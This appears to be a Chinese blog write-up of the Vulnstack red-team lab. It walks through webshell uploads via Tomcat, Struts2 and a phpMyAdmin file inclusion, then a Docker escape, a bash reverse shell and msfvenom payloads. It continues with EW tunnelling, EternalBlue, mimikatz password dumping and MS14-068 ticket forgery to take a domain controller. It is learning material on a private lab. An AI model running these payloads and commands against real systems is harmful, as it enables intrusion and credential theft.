WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

Javaweb

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

PWN

CTF

heap

Windows内核学习

其它

关于博客

面试

杂谈

红队评估四

0x01 环境配置

首先配置ubuntu的两个网络适配器,一个为NAT,一个为仅主机

然后进入ubuntu,配置docker环境,需要将以下三个docker容器打开

1
2
3
Desktop/vulhub/tomcat/CVE-2017-12615/
Desktop/vulhub/phpmyadmin/CVE-2018-12613/
Desktop/vulhub/struts2/s2-045/

进入路径之后输入

1
2
docker-compose build
docker-compose up -d

可以将容器打开

可能会出现报错

解决的办法是将当前用户加入docker用户组

1
sudo gpasswd -a ${USER} docker #将当前用户添加到docker用户组

输入这条命令之后需要切换一下用户,因为虽然已经加入用户组了但是缓存还在,切换一下用户即可

然后发现这里不知道别的用户..只能修改一下root的密码切换为root再切换回来

1
2
3
sudo passwd #修改root密码
su root #切换为root用户
su ubuntu #切换回ubuntu用户

之后再输入上面启动容器的命令就行了

通过nmap扫描之后找到开启的端口

windows7配置成仅主机

windows2008配置为仅主机并修改ip地址

0x02 getshell

这里需要获得三个shell,首先从tomcat开始吧,从启动docker环境可以知道是CVE-2017-12615,这个漏洞之前在360靶场复现过,通过PUT方法上传文件

首先使用hackbar提交一个POST请求,然后使用bp抓包

将POST请求修改为PUT请求,然后将a的位置修改成要上传的文件内容,将路径改为上传的文件名如webshell.jsp::$DATA或者webshell.jsp/

看到201状态码就说明上传成功了,这里我使用的是webshell.jsp/,之前复现的时候是使用另外一种方法的,反正如果碰到了两种都可以试试

接下来使用冰蝎连接这个木马,可以看到已经连接成功

现在获取第二个shell,第二个准备复现S2-045,这个简单现成的工具打一打就好了

继续上传一个冰蝎马

也已经连接成功

最后一个漏洞是phpmyadmin,搜索一下,是一个文件包含的漏洞,修改一下payload然后试试

1
http://192.168.52.134:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../etc/passwd

可以看到成功包含了/etc/passwd

现在要想办法包含有一句话木马的文件

创建一个新的数据表,在字段名上写入一句话木马

但是这里不知道mysql的绝对路径不能包含,所以只能换一种方法,包含session文件

1
SELECT "<?php phpinfo();?>"

这样执行的语句会写入session文件里,接下来只要去包含这个session文件就行

session的文件名就是sess_1994dbe3ef56205094654f20be30015a,在/tmp下,包含这个文件即可

1
http://192.168.52.134:2003/index.php?&target=db_datadict.php%253f/../../../../../../../../../tmp/sess_1994dbe3ef56205094654f20be30015a

可以看到已经成功包含,接下来就要获取shell,我尝试写入post一句话木马,但是不能执行,后来修改成get就可以执行php代码了

1
SELECT "<?php @eval($_GET['pass']);?>"

然后请求

1
http://192.168.52.134:2003/index.php?pass=system(%27whoami%27);&target=db_datadict.php%253f/../../../../../../../../../tmp/sess_1994dbe3ef56205094654f20be30015a

可以在这里看到回显,但是这个shell也也太乱了准备重新写一个,这里一直踩坑,写上去的shell因为有$导致linux认为是变量直接就不见了

都是这样的,后来终于找了个没有$的马,写了上去连接成功

1
2
http://192.168.52.134:2003/index.php?pass=system(%22echo%20%27%3C?php%20{eval(reset(get_defined_vars()[_POST]));};?%3E%27%20%3E%20shell.php%22);&target=db_datadict.php%253f/../../../../../../../../../tmp/sess_1994dbe3ef56205094654f20be30015a	#payload
<?php {eval(reset(get_defined_vars()[_POST]));};?> #一句话木马

终于把三个shell都拿到了

0x03 docker逃逸

这块以前真的一点没有看过,查了一下有两个方法,一个是CVE-2019-5736,一个是配置特权模式逃逸,CVE-2019-5736需要有人进入docker系统,特权模式逃逸需要以特权模式启动,都需要人为的修改一些配置,CVE-2019-5736我复现失败了,反弹shell不出来,所以这里使用特权模式逃逸

首先停掉一个容器,然后删除,我这里选择停掉并删除S2的容器

1
2
doccker stop CONTAINER ID
doccker rm CONTAINER ID

然后修改docker-compose.yml,在ports下添加一行,注意缩进

1
privileged: true

然后保存退出重新使用docker-compose启动容器

1
2
docker-compose build
docker-compose up -d

有时候会出现ip地址变化要注意

现在重新攻击这个靶机,重复一下上面的流程

接下来在kali上监听端口并在docker上执行命令反弹shell回来

1
bash -i >& /dev/tcp/192.168.52.128/60001 0>&1

1
2
3
4
5
fdisk -l	#查看磁盘文件
ls /dev #查看设备文件
mkdir /test #在根目录创建一个test文件夹
mount /dev/sda1 /test #将/dev/sda1 挂载到/test
cat /test/etc/passwd #访问宿主机的passwd文件

现在可以访问到宿主机的文件了,接下来往宿主机里面写公钥然后连接就可以成功逃逸

1
ssh-keygen	#生成密钥对

一直回车,会在/root/.ssh/下生成两个文件id_rsa(私钥)id_rsa.pub(公钥),接下来将公钥写入到宿主机的/.ssh/authorized_keys

1
2
3
4
5
cd /root/.ssh/
cp id_rsa.pub /test/root/.ssh/ #将公钥复制到宿主机/root/.ssh/如果没有这个文件夹就先创建
cd /test/root/.ssh/
mv id_rsa.pub authorized_keys #将公钥重命名
ssh -tt [email protected] #通过ssh连接宿主机,因为是伪终端所以要加-tt强制登录

成功逃逸

0x04 内网渗透

生成一个linux木马

1
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.52.128 LPORT=60003 -f elf > shell.elf

在kali上开一个一句话服务器

1
python -m SimpleHTTPServer 8080

通过wget下载木马,msf开启监听

反弹成功

ipconfig可以查看到另外一个网端,添加一条路由

1
run autoroute -s 192.168.183.1/24

但是这里不能直接使用arp_scanner,猜测可能是木马的问题,linux木马总是有些奇奇怪怪的问题,那就换个方法,进入linux shell安装nmap并扫描

扫到这两台主机

首先探测一下MS17-010

发现windows7是存在MS17-010的,直接打不行,需要用一下代理,使用meterpreter往ubuntu上传EW

1
upload ew_for_linux64 /root	#上传EW到/root下

使用EW进行反向代理

1
2
./ew_for_linux64 -s rssocks -d 192.168.52.128 -e 60007	#在ubuntu上执行
./ew_for_linux64 -s rcsocks -l 60008 -e 60007 #在kali上执行

出现OK就算成功了

接下来配置proxychains,proxychain的配置文件在/etc/proxychains.conf,在最后一行加上

1
socks5 127.0.0.1 60008

然后使用proxychain启动msf,命令为

1
2
3
4
5
proxychains msfconsole
use exploit/windows/smb/ms17_010_eternalblue #选择利用模块
set payload windows/x64/meterpreter/bind_tcp #使用正向的payload
set rhosts 192.168.183.128 #设置目标地址
set lport 60005 #设置端口

获得windows7的session

但是这个session,很容易掉..找了很久找不到原因,而且ms17-010也不是每次都可以打成功,就很迷..

好的吧好的吧…

这里想了一个办法,虽然这个session一下子就掉了,但是还是可以执行命令的..首先再生成一个msf正向shell,然后再开启一个msf的终端开始监听,只要手够快马上上传这个shell并执行就可以得到session

1
2
upload bind.exe c:\\windows\\system32	#上传文件到c:\\windows\\system32
execute -f bind.exe #执行

至于为什么要传到这个目录下,因为session进去就是这个目录,传到这个目录下可以少输一点路径

终于可以下一步了

了解了一下ms14-068,需要获得域控成员的密码

现在已经获得windows7的system权限,可以使用mimikatz抓密码,查看了一下桌面发现已经有mimikatz和MS14-068的exp,就不用自己上传了

system不能直接抓密码,我手动上win7看了看发现需要以管理员身份运行需要UAC,但是我输入域控的密码也没用,对域的知识还是比较少,之后要搭建看看,然后我想试试msf切换用户到douser发现也是不行的,而且我降权了之后权限回不去了..以后实战一定要注意降权的使用

所以我只好另外再起一个session,因为是system应该可以直接启动这台主机的管理员用户

1
2
net user administrator 123@abc	#设置管理员的密码
net user administrator 123@abc /active:yes #启用管理员

然后通过远程桌面登录

1
2
run getgui -e	#开启远程桌面
rdesktop 192.168.183.128:3389 #另开一个shell连接远程桌面

连接成功,接下来去douser用户的桌面去找mimikatz,打开mimikatz,运行命令

1
2
privilege::debug
sekurlsa::logonpasswords

读取到密码Dotest123,通过信息收集也可以获取密码,查看ubuntu /home/ubuntu/.bash_history也可以获取密码

最后就是渗透域控了,可以看到donser的桌面上也有MS14-068的exp

MS14-068还需要用户的sid,可以使用whoami /all查看

1
2
net group "Domain controllers" /domain	#获取主机名
ping WIN-ENS2VR5TR3N #ping获取到的主机名可以得到ip

1
dir \\WIN-ENS2VR5TR3N.demo.com\C$

是没有权限的,接下来利用MS14-068

1
2
ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
ms14-068.exe -u [email protected] -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123

生成票据

运行mimikatz

注入票据,再次尝试访问问域控,成功

1
2
3
kerberos::purge	#清空当前机器的凭证
kerberos::list #查看当前机器的凭证
kerberos::ptc path #票据注入,path是票据的路径

接下来使用桌面上的PsExec64.exe获取域shell

1
PsExec64.exe \\WIN-ENS2VR5TR3N.demo.com

但是因为是msf的shell不能直接得到shell,所以要换种方法

1
2
3
copy bind.exe \\WIN-ENS2VR5TR3N.demo.com\C$\	#将木马复制到域控C盘下
net time \\WIN-ENS2VR5TR3N.demo.com #查看域控时间
at \\WIN-ENS2VR5TR3N.demo.com 10:55 c:\bind.exe #定时启动木马

没有反弹到,可能是因为域控开了防火墙,但是我远程桌面直接以域成员登录,报了个错误,我去查了以后发现错误原因是未知(可能也是我没查到),需要退域之后再进来才可以,但是退域需要域控密码,现在也不知道,所以还是要想别的办法

创建一个close.bat,在里面写上关闭防火墙的命令

1
netsh advfirewall set allprofiles state off

然后将这个批处理文件上传并定时启动,再定时启动木马

获得域控system权限

0x05 总结

1.ubuntu一定要快照一定要快照一定要快照,重要的事情说三遍,特别是第一次复现的会有很多奇奇怪怪的问题,当然大佬可以忽略

2.永恒之蓝就算挂了ew也不是每次都可以成功的,多试几次,可以多换换端口

3.学到的还是不少的,docker逃逸和MS14-068都是第一次接触,虽然不懂原理,至少脚本会用了